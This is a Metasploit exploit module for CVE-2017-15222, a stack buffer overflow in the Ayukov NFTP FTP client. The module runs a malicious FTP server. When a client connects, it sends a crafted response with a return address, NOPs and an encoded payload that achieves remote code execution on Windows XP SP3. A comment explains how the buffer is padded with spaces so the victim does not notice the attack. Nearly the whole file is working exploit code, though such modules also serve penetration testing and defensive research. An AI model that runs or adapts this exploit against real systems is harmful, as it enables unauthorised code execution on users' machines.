##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
          Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
          is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
          code exeuction under the context of the user if successfully exploited.
        },
        'Author' => [
          'Berk Cem Goksel', # Original exploit author
          'Daniel Teixeira',  # MSF module author
          'sinn3r'            # RCA, improved module reliability and user exp
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-15222'],
          [ 'EDB', '43025' ],
        ],
        'Payload' => {
          'BadChars' => "\x00\x01\x0a\x10\x0d",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
        ],
        'Privileged' => false,
        'DisclosureDate' => '2017-10-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
      ]
    )
  end

  def exploit
    print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
    super
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    print_status("#{client.peerhost} - connected")

    # Let the client log in
    client.get_once

    print_status("#{client.peerhost} - sending 331 OK")
    user = "331 OK.\r\n"
    client.put(user)

    client.get_once
    print_status("#{client.peerhost} - sending 230 OK")
    pass = "230 OK.\r\n"
    client.put(pass)

    # It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
    # is visible from the user's command prompt, which would make the buffer overflow attack too
    # obvious.
    sploit = "\x20" * 4116

    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded
    sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
    sploit << "\r\n"

    print_status("#{client.peerhost} - sending the malicious response")
    client.put(sploit)

    client.get_once
    pwd = "257\r\n"
    client.put(pwd)
    client.get_once
  end
end
